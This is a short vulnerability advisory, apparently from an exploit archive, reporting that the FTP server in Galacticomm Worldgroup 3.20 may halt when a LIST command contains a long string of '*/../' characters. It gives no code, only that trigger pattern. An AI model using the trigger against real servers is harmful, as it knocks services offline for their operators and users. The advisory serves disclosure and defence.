Galacticomm Worldgroup 3.20 - Remote FTP Denial of Service

// source: https://www.securityfocus.com/bid/4185/info


Galacticomm Worldgroup is a community building package of both client and server software for Microsoft Windows. Worldgroup is based on BBS software, and includes web and ftp servers.

A vulnerability has been reported in the FTP server included with Worldgroup. If a LIST command is received by the server including a long string of '*/../' characters, the server may halt. A restart may be required in order to regain normal functionality.

Earlier versions of Worldgroup may share this vulnerability.
